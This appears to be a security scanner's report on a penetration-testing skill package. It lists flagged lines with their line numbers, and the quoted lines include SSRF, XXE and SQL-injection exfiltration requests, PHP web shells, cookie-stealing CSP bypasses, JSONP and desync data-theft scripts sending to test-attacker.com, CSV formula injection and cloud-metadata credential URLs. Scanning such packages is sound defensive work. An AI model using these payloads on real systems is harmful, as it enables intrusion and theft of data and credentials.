# Step 2: 通过 SSRF 参数触发 DNS 查询 python {SKILL_ROOT}/scripts/http_test.py \ --url "http://target.com/api/fetch?url=http://$DOMAIN" \ - Network accessline 76
python {SKILL_ROOT}/scripts/http_test.py --url "http://target.com/api/fetch?url=http://$DOMAIN" - Network accessline 77
--url "http://target.com/api/fetch?url=http://$DOMAIN" \ - Network accessline 98
# Step 2: 发送含外部实体的 XML python {SKILL_ROOT}/scripts/http_test.py \ --url "http://target.com/api/import" \ - Network accessline 99
python {SKILL_ROOT}/scripts/http_test.py --url "http://target.com/api/import" - Network accessline 100
--url "http://target.com/api/import" \ - Network accessline 122
# Step 2: 通过命令注入触发 DNS 查询 python {SKILL_ROOT}/scripts/http_test.py \ --url "http://target.com/api/ping?host=\|nslookup+$DOMAIN" \ - Network accessline 123
python {SKILL_ROOT}/scripts/http_test.py --url "http://target.com/api/ping?host=\|nslookup+$DOMAIN" - Network accessline 124
--url "http://target.com/api/ping?host=\|nslookup+$DOMAIN" \ - Network accessline 141
# Step 2: 通过 SQL 注入触发 DNS 查询 python {SKILL_ROOT}/scripts/http_test.py \ --url "http://target.com/api/user?id=1'+UNION+SELECT+LOAD_FILE(CONCAT('\\\\\\',(SELECT+database()),'.$DOMAIN\\\abc'))--+" \ - Network accessline 142
python {SKILL_ROOT}/scripts/http_test.py --url "http://target.com/api/user?id=1'+UNION+SELECT+LOAD_FILE(CONCAT('\\\\\\',(SELECT+database()),'.$DOMAIN\\\abc'))--+" - Network accessline 143
--url "http://target.com/api/user?id=1'+UNION+SELECT+LOAD_FILE(CONCAT('\\\\\\',(SELECT+database()),'.$DOMAIN\\\abc'))--+" \ - Network accessline 160
# Step 2: 通过 JNDI 参数触发 DNS 查询 python {SKILL_ROOT}/scripts/http_test.py \ --url "http://target.com/api/lookup?jndiName=dns://$DOMAIN" \ - Network accessline 161
python {SKILL_ROOT}/scripts/http_test.py --url "http://target.com/api/lookup?jndiName=dns://$DOMAIN" - Network accessline 162
--url "http://target.com/api/lookup?jndiName=dns://$DOMAIN" \
references/http-test-usage.md
- Network accessline 28
python {SKILL_ROOT}/scripts/http_test.py \ --url "http://target.com/path" \ - Network accessline 29
--url "http://target.com/path" \ - Network accessline 39
python {SKILL_ROOT}/scripts/http_test.py \ --url "http://target.com/api/endpoint" \ - Network accessline 40
--url "http://target.com/api/endpoint" \ - Network accessline 52
python {SKILL_ROOT}/scripts/http_test.py \ --url "http://target.com/login" \ - Network accessline 53
--url "http://target.com/login" \ - Network accessline 78
[Credential-related source omitted] - Network accessline 79
| `--user-agent` | string | `""` | 自定义 User-Agent | | `--proxy` | string | `""` | 代理地址:`http://127.0.0.1:8080` 或 `socks5://127.0.0.1:1080` | | `--timeout` | float | `60` | 超时秒数(支持小数) | - Network accessline 80
| `--proxy` | string | `""` | 代理地址:`http://127.0.0.1:8080` 或 `socks5://127.0.0.1:1080` | - Network accessline 227
[Credential-related source omitted] - Network accessline 228
[Credential-related source omitted] - Network accessline 256
[Credential-related source omitted] - Network accessline 257
[Credential-related source omitted] - Network accessline 258
[Credential-related source omitted] - Network accessline 259
[Credential-related source omitted] - Network accessline 285
[Credential-related source omitted] - Network accessline 286
[Credential-related source omitted] - Network accessline 288
[Credential-related source omitted] - Network accessline 289
[Credential-related source omitted]
references/nuclei-templates-usage.md
- Network accessline 130
| 模板变量 | 替换为 | |----------|--------| | `{{BaseURL}}` | fingerprint.json key 去掉末尾斜杠,**保留路径部分**(如 `http://192.168.1.133:8080/jenkins`) | - Network accessline 131
|----------|--------| | `{{BaseURL}}` | fingerprint.json key 去掉末尾斜杠,**保留路径部分**(如 `http://192.168.1.133:8080/jenkins`) | | `{{RootURL}}` | 仅 `scheme://host:port`,**去掉路径部分**(如 `http://192.168.1.133:8080`) | - Network accessline 132
| `{{BaseURL}}` | fingerprint.json key 去掉末尾斜杠,**保留路径部分**(如 `http://192.168.1.133:8080/jenkins`) | - Network accessline 133
| `{{RootURL}}` | 仅 `scheme://host:port`,**去掉路径部分**(如 `http://192.168.1.133:8080`) |
references/pentest_skills/business-logic-vulnerabilities/CHECKLIST.md
- Network accessline 31
| 生物识别接口必须含活体检测,不接受静态图片/预录视频 | 仅校验特征值未校验活体属性,可媒体替换 | 用合法用户的静态人脸照片/录屏文件替代摄像头流提交,看是否判定为活体 | | 硬件密钥/USB-Key 签名带时效与一次性 nonce | 否则旧签名可重放,伪造密钥可重用 | 拦截一次合法签名请求,重放旧签名或修改 device-id 字段,看服务端是否拒绝 | | 登录/注册的 `return_url`/`redirect`/`callback` 走域名白名单 | 否 - Network accessline 33
| 登录/注册的 `return_url`/`redirect`/`callback` 走域名白名单 | 否则任意外站钓鱼 | 改 `return_url=https://evil.com` 看响应 Location 是否指向外部 | - Network accessline 220
| Item | why | verify | |---|---|---| | 跳转参数走白名单或仅 path | 否则任意 URL 跳转钓鱼 | `?url=https://evil.com` 看是否跳转 | - Network accessline 221
|---|---|---| | 跳转参数走白名单或仅 path | 否则任意 URL 跳转钓鱼 | `?url=https://evil.com` 看是否跳转 | | 校验需覆盖编码绕过 | `?`、`@`、`/`、`#`、子域名、畸形 URL、IP 直连等多种手法 | 提交 `https://target.com@evil.com`、`https://target.com.evil.com`、`https://evil.com/?target.com`、`https://e - Network accessline 222
| 跳转参数走白名单或仅 path | 否则任意 URL 跳转钓鱼 | `?url=https://evil.com` 看是否跳转 | - Network accessline 223
| 校验需覆盖编码绕过 | `?`、`@`、`/`、`#`、子域名、畸形 URL、IP 直连等多种手法 | 提交 `https://target.com@evil.com`、`https://target.com.evil.com`、`https://evil.com/?target.com`、`https://evil.com#target.com`、`https://[::1]/`、`https://0x7f000001/` | - Network accessline 305
| XML / DTD / SVG 上传走专用解析器禁用外部实体 | 否则就是 XXE 上传 | 上传含 `<!ENTITY x SYSTEM "file:///etc/passwd">` 的 SVG / docx 看响应或带外日志 | | 解压缩接口必须限制单文件展开后大小与 zip-bomb | 1KB → 1GB DoS | 上传一个 `42.zip` 类压缩炸弹,监控服务端 CPU/磁盘 | | CSV / XLSX 内容做公式注入过滤 (=, +, -, @ 开头) - Network accessline 306
| 解压缩接口必须限制单文件展开后大小与 zip-bomb | 1KB → 1GB DoS | 上传一个 `42.zip` 类压缩炸弹,监控服务端 CPU/磁盘 | | CSV / XLSX 内容做公式注入过滤 (=, +, -, @ 开头) | `=SYSTEM("calc")` 在 Excel 宏环境执行 | 提交 `=cmd|'/c calc'!A1`、`=HYPERLINK("http://evil/?"&A1, "click")` 看下载方实际表现 | | 高并发上 - Network accessline 307
| CSV / XLSX 内容做公式注入过滤 (=, +, -, @ 开头) | `=SYSTEM("calc")` 在 Excel 宏环境执行 | 提交 `=cmd|'/c calc'!A1`、`=HYPERLINK("http://evil/?"&A1, "click")` 看下载方实际表现 | - Network accessline 319
| XML 解析器禁用外部实体 / DTD 加载 / 参数实体 | 否则一行 `<!ENTITY x SYSTEM "file:///etc/passwd">` 即任意文件读取 | Body 注入含 `<!DOCTYPE>` 与 `SYSTEM` 实体的 XML,看响应是否回显 `/etc/passwd` | | XXE 盲注:响应不回显时仍走带外通道排查 | 不回显 ≠ 不存在;OOB 仍可窃数据 | 在 Burp Collaborator / DNSLog 配 DTD,构 - Network accessline 320
| XXE 盲注:响应不回显时仍走带外通道排查 | 不回显 ≠ 不存在;OOB 仍可窃数据 | 在 Burp Collaborator / DNSLog 配 DTD,构造参数实体 → 监听是否收到目标外联 | | 任意"导入 URL / 拉取图片 / Webhook 回调 / 预览链接"接口禁用 `file://` / `gopher://` / `dict://` / `jar://` / `php://` 协议 | 否则 SSRF 全套:读本地文件、攻击内网、命令执行 | - Network accessline 321
| 任意"导入 URL / 拉取图片 / Webhook 回调 / 预览链接"接口禁用 `file://` / `gopher://` / `dict://` / `jar://` / `php://` 协议 | 否则 SSRF 全套:读本地文件、攻击内网、命令执行 | 把 URL 改 `file:///etc/passwd`、`gopher://127.0.0.1:6379/_INFO`、`http://169.254.169.254/`,看响应或带外 | - Network accessline 322
| URL 输入做"DNS resolve + 解析后再校验",禁止解析到内网 IP / 保留段 | 仅匹配字符串可被 DNS rebind 或 `127.0.0.1.nip.io` 绕过 | 用 `http://attacker.tld`(A 记录指向 169.254.169.254)发 SSRF,重定向到内网看是否打通 | - Network accessline 323
| 重定向跟随的 URL 同样走 SSRF 校验,不能"首跳合法→302→内网" | 多数 SSRF 通过 302 跳板成立 | 攻击者域名返回 `302 Location: http://127.0.0.1:8500/`,看目标是否跟随 | - Network accessline 324
| 状态变更接口(支付、提现、改密、改邮箱、删数据)有 Anti-CSRF Token + SameSite + Origin/Referer 三重 | 缺一即可被恶意页面静默触发 | 写一个 attacker.html 含自动提交 form 指向目标接口,浏览器登录后访问看是否触发 | | Webhook / 支付回调 / 第三方通知接口校验签名 + 时间戳 + 来源 IP 白名单 | 否则可本地伪造支付成功通知 | 抓真实回调请求,本地修改订单号/金额后直接 POST 给 - Network accessline 325
| Webhook / 支付回调 / 第三方通知接口校验签名 + 时间戳 + 来源 IP 白名单 | 否则可本地伪造支付成功通知 | 抓真实回调请求,本地修改订单号/金额后直接 POST 给回调 URL,看订单状态 | | JSONP 回调与跨域读接口不返回敏感用户数据 | JSONP 即可被跨域 `<script>` 拉取 → 绕过 SOP | 在 attacker 页面用 `<script src="https://target/api/jsonp?cb=x">`,看是否 - Network accessline 326
| JSONP 回调与跨域读接口不返回敏感用户数据 | JSONP 即可被跨域 `<script>` 拉取 → 绕过 SOP | 在 attacker 页面用 `<script src="https://target/api/jsonp?cb=x">`,看是否能拿到 user 数据 | - Network accessline 327
| 出网请求出口走"白名单 + 出口防火墙"策略 | 内部资产可被打到云元数据 / 内网中间件 | 用 `http://169.254.169.254/latest/meta-data/`(AWS)/ `http://metadata.google.internal/` 探云元数据 |
references/pentest_skills/business-logic-vulnerabilities/SCENARIOS.md
- Network accessline 69
# Send 20 parallel requests using the same coupon: for i in $(seq 1 20); do curl -s -X POST https://target.com/api/apply-coupon \ - Network accessline 70
for i in $(seq 1 20); do curl -s -X POST https://target.com/api/apply-coupon \ -H "Cookie: session=..." \ - Network accessline 71
curl -s -X POST https://target.com/api/apply-coupon \ - Network accessline 685
Bypass: GET /reset/done?next=https://test-attacker.com/login ← if server doesn't validate next= → SSRF/phish - Network accessline 686
GET /reset/done?next=https://test-attacker.com/login ← if server doesn't validate next= → SSRF/phish - Network accessline 709
curl -s -H "Cookie: $SESSION_A" \ - Network accessline 710
"https://target/api/orders/$A_RESOURCE_ID" -o /tmp/a.json - Network accessline 712
curl -s -H "Cookie: $SESSION_A" \ - Network accessline 713
"https://target/api/orders/$B_RESOURCE_ID" -o /tmp/b.json - Network accessline 750
S_A = requests.Session() - Network accessline 753
for victim_uid in range(10000, 10010): r = S_A.get(f"https://target/api/account/info", - Network accessline 754
r = S_A.get(f"https://target/api/account/info", - Network accessline 787
# Same logical action, different surfaces: curl -X POST https://web.target.com/api/v1/order/cancel/123 ... - Network accessline 788
curl -X POST https://web.target.com/api/v1/order/cancel/123 ... - Network accessline 789
curl -X POST https://m.target.com/h5/order/cancel \ - Network accessline 791
curl -X POST https://api.target.com/mobile/order/cancel \ - Network accessline 794
curl -X POST https://target.com/admin/order/cancel \ - Possible obfuscationline 836
printf '\xff\xd8\xff\xe0\x00\x10JFIF\x00\x01\x01\x00\x00\x01\x00\x01\x00\x00' \ - Dangerous shell operationline 838
echo '<?php @eval($_REQUEST[0]); ?>' >> poly.jpg - Network accessline 853
unzip ../template.docx # Inject XXE in word/document.xml: sed -i 's#<w:body>#<w:body><!DOCTYPE foo [<!ENTITY x SYSTEM "http://evil/dtd">]>\&x;#' \ - Network accessline 854
# Inject XXE in word/document.xml: sed -i 's#<w:body>#<w:body><!DOCTYPE foo [<!ENTITY x SYSTEM "http://evil/dtd">]>\&x;#' \ word/document.xml - Network accessline 855
sed -i 's#<w:body>#<w:body><!DOCTYPE foo [<!ENTITY x SYSTEM "http://evil/dtd">]>\&x;#' \ - Network accessline 884
If the server uses the multipart filename verbatim in `os.path.join(base, filename)` without sanitization, the file lands at the traversed path. Confirm by hitting `https://target/shell.php?c=id`. - Network accessline 886
`https://target/shell.php?c=id`. - Network accessline 893
UPLOAD = "https://target/api/upload" - Network accessline 894
ACCESS = "https://target/uploads/{}/shell.php" - Network accessline 896
def upload(i): files = {"file": ("shell.php", "<?php system($_GET[0]); ?>", "image/jpeg")} r = requests.post(UPLOAD, files=files, cookies={"session": "..."}) - Network accessline 897
files = {"file": ("shell.php", "<?php system($_GET[0]); ?>", "image/jpeg")} r = requests.post(UPLOAD, files=files, cookies={"session": "..."}) return r.json().get("path") - Network accessline 898
r = requests.post(UPLOAD, files=files, cookies={"session": "..."}) - Network accessline 902
deadline = time.time() + 10 while time.time() < deadline: r = requests.get(ACCESS.format(path), params={"0": "id"}) - Network accessline 903
while time.time() < deadline: r = requests.get(ACCESS.format(path), params={"0": "id"}) if "uid=" in r.text: - Network accessline 904
r = requests.get(ACCESS.format(path), params={"0": "id"}) - Network accessline 919
# 42.zip (10MB on disk → 4.5PB decompressed): # Get a public sample and upload to a "decompress on import" endpoint curl -O https://www.bamsoftware.com/hacks/zipbomb/42.zip - Network accessline 920
# Get a public sample and upload to a "decompress on import" endpoint curl -O https://www.bamsoftware.com/hacks/zipbomb/42.zip # If the server CPU spikes / OOMs after import, decompression is unbounded. - Network accessline 921
curl -O https://www.bamsoftware.com/hacks/zipbomb/42.zip - Network accessline 932
name,email =cmd|'/c calc'!A1,attacker@example.com =HYPERLINK("http://evil/?u="&A2&A3,"click here"),admin@target.com - Network accessline 933
=cmd|'/c calc'!A1,attacker@example.com =HYPERLINK("http://evil/?u="&A2&A3,"click here"),admin@target.com @SUM(1+1)*cmd|'/c calc'!A1,test@example.com - Network accessline 934
=HYPERLINK("http://evil/?u="&A2&A3,"click here"),admin@target.com - Network accessline 952
# DNSLog: register a domain at https://dnslog.cn or http://www.dnslog.cn - Network accessline 958
python3 -m http.server 8080 # stdout shows requests # or with logging body content: ncat -lv -p 8080 -k -c 'cat' - Network accessline 960
ncat -lv -p 8080 -k -c 'cat' - Network accessline 982
<!DOCTYPE foo [ <!ENTITY % file SYSTEM "file:///etc/passwd"> <!ENTITY % dtd SYSTEM "http://YOUR.dnslog.cn/x.dtd"> - Network accessline 983
<!ENTITY % file SYSTEM "file:///etc/passwd"> <!ENTITY % dtd SYSTEM "http://YOUR.dnslog.cn/x.dtd"> %dtd; - Network accessline 984
<!ENTITY % dtd SYSTEM "http://YOUR.dnslog.cn/x.dtd"> - Network accessline 994
<!ENTITY % all "<!ENTITY % send SYSTEM 'http://YOUR.dnslog.cn/?d=%file;'>"> - Network accessline 1005
http://169.254.169.254/latest/meta-data/ # AWS - Network accessline 1006
http://169.254.169.254/latest/meta-data/iam/security-credentials/<role> - Network accessline 1007
http://metadata.google.internal/computeMetadata/v1/ + Header: Metadata-Flavor: Google - Network accessline 1008
http://100.100.100.200/latest/meta-data/ # Aliyun - Network accessline 1009
http://169.254.169.254/metadata/instance?api-version=2021-02-01 + Header: Metadata: true (Azure) - Network accessline 1018
http://127.0.0.1:6379/ # Redis - Network accessline 1019
http://127.0.0.1:11211/stats # Memcached (try gopher) - Network accessline 1020
http://127.0.0.1:8500/v1/agent/self # Consul - Network accessline 1021
http://127.0.0.1:2379/v2/keys # etcd - Network accessline 1022
http://127.0.0.1:9200/_cat/indices?v # Elasticsearch - Network accessline 1023
http://127.0.0.1:5432/ # PostgreSQL (banner) - Network accessline 1024
http://10.0.0.0/8 ranges # Internal APIs - Network accessline 1033
Generate with `gopherus` (https://github.com/tarunkant/Gopherus). - Network accessline 1041
Tools: - `python3 -m http.server` with `socat`-based DNS server - `https://lock.cmpxchg8b.com/rebinder.html` (online generator) - Network accessline 1042
- `python3 -m http.server` with `socat`-based DNS server - `https://lock.cmpxchg8b.com/rebinder.html` (online generator) - `whonow`: https://github.com/brannondorsey/whonow - Network accessline 1043
- `https://lock.cmpxchg8b.com/rebinder.html` (online generator) - Network accessline 1044
- `whonow`: https://github.com/brannondorsey/whonow - Network accessline 1049
<!DOCTYPE html> <html><body> <form id=f action="https://target/api/withdraw" method="POST" - Network accessline 1050
<html><body> <form id=f action="https://target/api/withdraw" method="POST" enctype="application/x-www-form-urlencoded"> - Network accessline 1051
<form id=f action="https://target/api/withdraw" method="POST" - Network accessline 1067
<script src="https://target.com/api/user/profile?callback=stealUserProfile"></script> - Network accessline 1068
<script> function stealUserProfile(data) { navigator.sendBeacon("https://test-attacker.com/log", JSON.stringify(data)); - Network accessline 1069
function stealUserProfile(data) { navigator.sendBeacon("https://test-attacker.com/log", JSON.stringify(data)); } - Network accessline 1070
navigator.sendBeacon("https://test-attacker.com/log", JSON.stringify(data));
references/pentest_skills/business-logic-vulnerabilities/SKILL.md
- Network accessline 218
Path-traversal truncation (../): Protected: http://target/FilterDemo/index.jsp → 302 to /login - Network accessline 219
Protected: http://target/FilterDemo/index.jsp → 302 to /login - Network accessline 220
Bypass: http://target/FilterDemo/../../index.jsp → 200 (filter sees "../../", URL parser collapses) - Network accessline 222
Semicolon truncation (;): Protected: http://target/admin/doLogin.action → 302 to /login - Network accessline 223
Protected: http://target/admin/doLogin.action → 302 to /login - Network accessline 224
Bypass: http://target/;/admin/doLogin.action → 200 - Network accessline 441
GET /gerudo/v2/liveCourse/625020ce8f002700010554c1/detail HTTP/1.1 { "previewPullUrl": "http://app-live.../live/app-live_625020ce8f002700010554c2_Preview.flv" - Network accessline 442
{ "previewPullUrl": "http://app-live.../live/app-live_625020ce8f002700010554c2_Preview.flv" ... - Network accessline 443
"previewPullUrl": "http://app-live.../live/app-live_625020ce8f002700010554c2_Preview.flv" - Network accessline 451
For each hit, replay the URL anonymously (curl, VLC, flv.js demo at `https://bilibili.github.io/flv.js/demo/`). If the URL plays without a session, you've broken VIP gating. Defense: use signed, short-TTL URLs bound to user/IP/Referer, not - Network accessline 688
□ XXE file read (<!ENTITY x SYSTEM "file:///etc/passwd">) □ XXE blind via OOB (parameter entity → DNSLog / Burp Collaborator) □ SSRF via image-import / webhook / preview URL (file://, http://127.0.0.1) - Network accessline 689
□ XXE blind via OOB (parameter entity → DNSLog / Burp Collaborator) □ SSRF via image-import / webhook / preview URL (file://, http://127.0.0.1) □ SSRF via FTP / gopher / jar / php-wrapper / dict protocols - Network accessline 690
□ SSRF via image-import / webhook / preview URL (file://, http://127.0.0.1)
references/pentest_skills/csp-bypass-advanced/SKILL.md
- Dangerous shell operationline 79
`eval()`, `Function()`, `setTimeout(string)`, `setInterval(string)` all permitted. - Dangerous shell operationline 79
`eval()`, `Function()`, `setTimeout(string)`, `setInterval(string)` all permitted. - Dangerous shell operationline 86
// App does: eval('var x = ' + JSON.parse(userInput)) - Dangerous shell operationline 86
// App does: eval('var x = ' + JSON.parse(userInput)) - Network accessline 95
| Nonce reuse | Server uses same nonce across requests or for all users → predictable | | Nonce injection via CRLF | CRLF in response header → inject new CSP header with known nonce, or inject `<script nonce="known">` | | Dangling markup to - Network accessline 95
| Nonce reuse | Server uses same nonce across requests or for all users → predictable | | Nonce injection via CRLF | CRLF in response header → inject new CSP header with known nonce, or inject `<script nonce="known">` | | Dangling markup to - Network accessline 96
| Nonce injection via CRLF | CRLF in response header → inject new CSP header with known nonce, or inject `<script nonce="known">` | | Dangling markup to steal nonce | `<img src="https://test-attacker.com/steal?` (unclosed) → page content in - Network accessline 96
| Nonce injection via CRLF | CRLF in response header → inject new CSP header with known nonce, or inject `<script nonce="known">` | | Dangling markup to steal nonce | `<img src="https://test-attacker.com/steal?` (unclosed) → page content in - Network accessline 97
| Dangling markup to steal nonce | `<img src="https://test-attacker.com/steal?` (unclosed) → page content including nonce leaks as URL parameter | - Network accessline 97
| Dangling markup to steal nonce | `<img src="https://test-attacker.com/steal?` (unclosed) → page content including nonce leaks as URL parameter | - Network accessline 105
| Bypass | Technique | |---|---| | `base-uri` injection | `<base href="https://test-attacker.com/">` → relative script `src` resolves to attacker domain. Trusted parent script loads `./lib.js` which now points to `https://test-attacker.com/ - Network accessline 105
| Bypass | Technique | |---|---| | `base-uri` injection | `<base href="https://test-attacker.com/">` → relative script `src` resolves to attacker domain. Trusted parent script loads `./lib.js` which now points to `https://test-attacker.com/ - Network accessline 106
|---|---| | `base-uri` injection | `<base href="https://test-attacker.com/">` → relative script `src` resolves to attacker domain. Trusted parent script loads `./lib.js` which now points to `https://test-attacker.com/lib.js` | | Script gadg - Network accessline 106
|---|---| | `base-uri` injection | `<base href="https://test-attacker.com/">` → relative script `src` resolves to attacker domain. Trusted parent script loads `./lib.js` which now points to `https://test-attacker.com/lib.js` | | Script gadg - Network accessline 107
| `base-uri` injection | `<base href="https://test-attacker.com/">` → relative script `src` resolves to attacker domain. Trusted parent script loads `./lib.js` which now points to `https://test-attacker.com/lib.js` | - Network accessline 107
| `base-uri` injection | `<base href="https://test-attacker.com/">` → relative script `src` resolves to attacker domain. Trusted parent script loads `./lib.js` which now points to `https://test-attacker.com/lib.js` | - Network accessline 126
<!-- Vue 2 with runtime compiler --> <div id=app>{{_c.constructor('alert(1)')()}}</div> <script src="https://whitelisted-cdn/vue.js"></script> - Network accessline 126
<!-- Vue 2 with runtime compiler --> <div id=app>{{_c.constructor('alert(1)')()}}</div> <script src="https://whitelisted-cdn/vue.js"></script> - Network accessline 127
<div id=app>{{_c.constructor('alert(1)')()}}</div> <script src="https://whitelisted-cdn/vue.js"></script> <script>new Vue({el:'#app'})</script> - Network accessline 127
<div id=app>{{_c.constructor('alert(1)')()}}</div> <script src="https://whitelisted-cdn/vue.js"></script> <script>new Vue({el:'#app'})</script> - Network accessline 128
<script src="https://whitelisted-cdn/vue.js"></script> - Network accessline 128
<script src="https://whitelisted-cdn/vue.js"></script> - Network accessline 137
<!-- Flash-based bypass (legacy, mostly patched, but still appears on old systems) --> <object data="https://test-attacker.com/evil.swf" type="application/x-shockwave-flash"> - Network accessline 137
<!-- Flash-based bypass (legacy, mostly patched, but still appears on old systems) --> <object data="https://test-attacker.com/evil.swf" type="application/x-shockwave-flash"> - Network accessline 138
<object data="https://test-attacker.com/evil.swf" type="application/x-shockwave-flash"> - Network accessline 138
<object data="https://test-attacker.com/evil.swf" type="application/x-shockwave-flash"> - Network accessline 149
<!-- Inject base tag → all relative URLs resolve to attacker --> <base href="https://test-attacker.com/"> - Network accessline 149
<!-- Inject base tag → all relative URLs resolve to attacker --> <base href="https://test-attacker.com/"> - Network accessline 150
<base href="https://test-attacker.com/"> - Network accessline 150
<base href="https://test-attacker.com/"> - Network accessline 152
<!-- Existing script: <script src="/js/app.js"> --> <!-- Now loads: https://test-attacker.com/js/app.js --> - Network accessline 152
<!-- Existing script: <script src="/js/app.js"> --> <!-- Now loads: https://test-attacker.com/js/app.js --> - Network accessline 153
<!-- Now loads: https://test-attacker.com/js/app.js --> - Network accessline 153
<!-- Now loads: https://test-attacker.com/js/app.js --> - Network accessline 188
| WebRTC | None (CSP cannot block) | `new RTCPeerConnection({iceServers:[{urls:'stun:test-attacker.com'}]})` | | `<link rel=prefetch>` | `default-src` or `connect-src` | Often missed in CSP | | Redirect-based | `navigate-to` (rarely set) | - Network accessline 188
| WebRTC | None (CSP cannot block) | `new RTCPeerConnection({iceServers:[{urls:'stun:test-attacker.com'}]})` | | `<link rel=prefetch>` | `default-src` or `connect-src` | Often missed in CSP | | Redirect-based | `navigate-to` (rarely set) | - Network accessline 189
| `<link rel=prefetch>` | `default-src` or `connect-src` | Often missed in CSP | | Redirect-based | `navigate-to` (rarely set) | `location='https://test-attacker.com/?'+document.cookie` | | CSS injection | `style-src` | `<style>body{backgro - Network accessline 189
| `<link rel=prefetch>` | `default-src` or `connect-src` | Often missed in CSP | | Redirect-based | `navigate-to` (rarely set) | `location='https://test-attacker.com/?'+document.cookie` | | CSS injection | `style-src` | `<style>body{backgro - Network accessline 190
| Redirect-based | `navigate-to` (rarely set) | `location='https://test-attacker.com/?'+document.cookie` | - Network accessline 190
| Redirect-based | `navigate-to` (rarely set) | `location='https://test-attacker.com/?'+document.cookie` | - Network accessline 191
| CSS injection | `style-src` | `<style>body{background:url(https://test-attacker.com/?data)}</style>` | - Network accessline 191
| CSS injection | `style-src` | `<style>body{background:url(https://test-attacker.com/?data)}</style>` | - Network accessline 192
| `<a ping>` | `connect-src` | `<a ping="https://test-attacker.com/collect" href="#">click</a>` | - Network accessline 192
| `<a ping>` | `connect-src` | `<a ping="https://test-attacker.com/collect" href="#">click</a>` | - Network accessline 194
| Form submission | `form-action` | `<form action="https://test-attacker.com/"><button>Submit</button></form>` | - Network accessline 194
| Form submission | `form-action` | `<form action="https://test-attacker.com/"><button>Submit</button></form>` | - Network accessline 211
│ ├── Check missing directives │ ├── No base-uri? → <base href="https://test-attacker.com/"> → hijack relative scripts - Network accessline 211
│ ├── Check missing directives │ ├── No base-uri? → <base href="https://test-attacker.com/"> → hijack relative scripts - Network accessline 212
├── Check missing directives │ ├── No base-uri? → <base href="https://test-attacker.com/"> → hijack relative scripts │ ├── No object-src? → Flash/plugin-based bypass (legacy) - Network accessline 212
├── Check missing directives │ ├── No base-uri? → <base href="https://test-attacker.com/"> → hijack relative scripts │ ├── No object-src? → Flash/plugin-based bypass (legacy) - Network accessline 213
│ ├── No base-uri? → <base href="https://test-attacker.com/"> → hijack relative scripts - Network accessline 213
│ ├── No base-uri? → <base href="https://test-attacker.com/"> → hijack relative scripts
references/pentest_skills/ghost-bits-cast-attack/PAYLOAD_COOKBOOK.md
- Network accessline 311
### 3.4 Curl one-liners (Latin variants only — copy-paste safe) - Network accessline 314
# Tomcat filename* upload bypass curl -k -X POST "https://target/upload" \ - Network accessline 315
curl -k -X POST "https://target/upload" \ - Network accessline 319
# Spring URL traversal via 阮 (UTF-8 E9 98 AE) curl -k "https://target/api/data?file=$(printf '\xe9\x98\xae\xe9\x98\xae\xe9\x98\xafetc\xe9\x98\xafpasswd')" - Network accessline 320
curl -k "https://target/api/data?file=$(printf '\xe9\x98\xae\xe9\x98\xae\xe9\x98\xafetc\xe9\x98\xafpasswd')" - Possible obfuscationline 320
curl -k "https://target/api/data?file=$(printf '\xe9\x98\xae\xe9\x98\xae\xe9\x98\xafetc\xe9\x98\xafpasswd')" - Network accessline 322
# Jetty %2> hex folding bypass curl -k "https://target/setup/setup-s/%2%3E%2%3E/log.jsp" - Network accessline 323
curl -k "https://target/setup/setup-s/%2%3E%2%3E/log.jsp" - Network accessline 325
# JDK HttpServer CRLF response splitting (CVE-2026-21933) curl -k --get "https://target/echo" \ - Network accessline 326
curl -k --get "https://target/echo" \ - Possible obfuscationline 326
curl -k --get "https://target/echo" --data-urlencode 'ref=Cu\xe7\x98\x8d\xe7\x98\x8aContent-Type: text/html\xe7\x98\x8d\xe7\x98\x8aContent-Length: 33\xe7\x98\x8d\xe7\x98\x8a\xe7\x98\x8d\xe7\x98\x8a<script>alert(1)</script>' - Possible obfuscationline 327
--data-urlencode 'ref=Cu\xe7\x98\x8d\xe7\x98\x8aContent-Type: text/html\xe7\x98\x8d\xe7\x98\x8aContent-Length: 33\xe7\x98\x8d\xe7\x98\x8a\xe7\x98\x8d\xe7\x98\x8a<script>alert(1)</script>'
references/pentest_skills/http-parameter-pollution/SKILL.md
- Network accessline 18
id=1&id=2 id=1&id=1%20OR%201=1 url=https://legit.example&id=https://evil.example - Network accessline 18
id=1&id=2 id=1&id=1%20OR%201=1 url=https://legit.example&id=https://evil.example - Network accessline 18
id=1&id=2 id=1&id=1%20OR%201=1 url=https://legit.example&id=https://evil.example - Network accessline 19
id=1&id=1%20OR%201=1 url=https://legit.example&id=https://evil.example amount=1&amount=9999 - Network accessline 19
id=1&id=1%20OR%201=1 url=https://legit.example&id=https://evil.example amount=1&amount=9999 - Network accessline 19
id=1&id=1%20OR%201=1 url=https://legit.example&id=https://evil.example amount=1&amount=9999 - Network accessline 20
url=https://legit.example&id=https://evil.example - Network accessline 20
url=https://legit.example&id=https://evil.example - Network accessline 20
url=https://legit.example&id=https://evil.example - Network accessline 130
url=https://allowed.cdn.example/&url=http://169.254.169.254/ - Network accessline 130
url=https://allowed.cdn.example/&url=http://169.254.169.254/ - Network accessline 130
url=https://allowed.cdn.example/&url=http://169.254.169.254/
references/pentest_skills/request-smuggling/H2_SMUGGLING_VARIANTS.md
- Network accessline 151
# Step 2: Send POST with Content-Length larger than actual body curl -X POST https://target.com/static-page \ - Network accessline 152
curl -X POST https://target.com/static-page \ - Network accessline 269
GET /redirect?url=https://evil.com/malicious.js HTTP/1.1 - Network accessline 298
Client-Side Desync exploits browser `fetch()` API behavior to cause desynchronization between the browser and a web server. Unlike server-side smuggling (which poisons a shared connection pool), CSD poisons the **browser's own connection** - Network accessline 309
1. Attacker's JS on victim's browser sends fetch() to target: - Network accessline 311
fetch('https://target.com/trigger', { - Network accessline 324
fetch('https://target.com/api/me', { - Network accessline 338
// Step 1: Trigger the desync (CL.0 on trigger endpoint) await fetch(targetUrl + triggerPath, { - Network accessline 339
await fetch(targetUrl + triggerPath, { - Network accessline 346
// Step 2: Follow-up request on (hopefully) same connection const response = await fetch(targetUrl + '/api/profile', { - Network accessline 347
const response = await fetch(targetUrl + '/api/profile', { - Network accessline 351
// Step 3: Exfiltrate if response is mismatched const data = await response.text(); navigator.sendBeacon('https://test-attacker.com/log', data); - Network accessline 352
const data = await response.text(); navigator.sendBeacon('https://test-attacker.com/log', data); } - Network accessline 353
navigator.sendBeacon('https://test-attacker.com/log', data); - Network accessline 356
desync( 'https://target.com', - Network accessline 357
'https://target.com', - Network accessline 374
1. Server has a timeout: if request body isn't fully received within N seconds, server sends response and moves on 2. Attacker sends fetch() with: - Network accessline 375
